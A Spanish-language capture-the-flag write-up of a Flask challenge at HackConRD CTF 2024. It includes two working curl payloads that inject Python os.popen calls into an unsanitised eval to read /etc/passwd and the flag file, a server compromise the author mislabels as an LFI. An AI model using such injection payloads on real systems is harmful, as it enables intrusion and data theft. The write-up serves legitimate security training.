HackConRD CTF 2024: Interdimensional Calculator
Empezamos mirando el sitio web y no encontramos nada especial. La página solo muestra un número aleatorio cada vez que se recarga.

Después fuimos a revisar el código fuente, buscando algo interesante antes de escanear puertos abiertos o enumerar directorios. Ahí encontramos un comentario interesante, <!-- /debug -->, que nos guiaba a probar el directorio /debug.

Al ir a ese directorio pudimos encontrar código Python. Revisándolo, supimos que era un backend hecho con el framework Flask.
Primero, vimos que la ruta principal / acepta los métodos GET y POST, y que la función GCR tiene un condicional if que se ejecuta cuando enviamos una petición POST. Mirando con más detalle, también vemos los datos que acepta: ingredient y measurements. Ambas variables las ejecuta la función calc. Como la aplicación no sanitiza los datos que recibe, podemos aprovechar esta vulnerabilidad inyectando código malicioso.

Usamos curl para enviar una petición POST de la siguiente forma:
curl -X POST http://83.136.252.214:36662/ -H "Content-Type: application/x-www-form-urlencoded" -d "ingredient=z&measurements=__import__('os').popen('cat+/etc/passwd').read()" Y logramos un LFI.

Finalmente, la flag estaba en el mismo directorio en el que caímos dentro del servidor.
curl -X POST http://83.136.252.214:36662/ -H "Content-Type: application/x-www-form-urlencoded" -d "ingredient=z&measurements=__import__('os').popen('cat+flag').read()" 
Gracias por leer.